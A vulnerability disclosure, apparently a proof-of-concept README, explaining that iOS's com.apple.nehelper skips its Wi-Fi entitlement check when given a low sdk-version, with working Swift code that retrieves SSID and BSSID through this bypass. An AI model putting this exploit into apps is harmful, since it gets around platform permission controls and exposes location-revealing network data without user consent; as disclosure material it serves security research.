我更新了这段代码,以避免直接使用私有 API。更多信息请参阅我的博客文章。不过,这意味着现在这段代码是特定于 iOS 版本的,并且可能特定于设备型号。因此,如果它在你的设备上不起作用,请重新计算并更新 c.c 文件中的偏移量。原始代码可以在 direct 分支中找到。
XPC 端点 com.apple.nehelper 接受用户提供的参数 sdk-version,如果其值小于或等于 524288,则会跳过 com.apple.developer.networking.wifi-info 权限检查。
这使得任何符合条件的应用(例如拥有位置访问授权的应用)都可以在无需所需权限的情况下获取 Wifi 信息。
这发生在 /usr/libexec/nehelper 中的 -[NEHelperWiFiInfoManager checkIfEntitled:] 中。
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}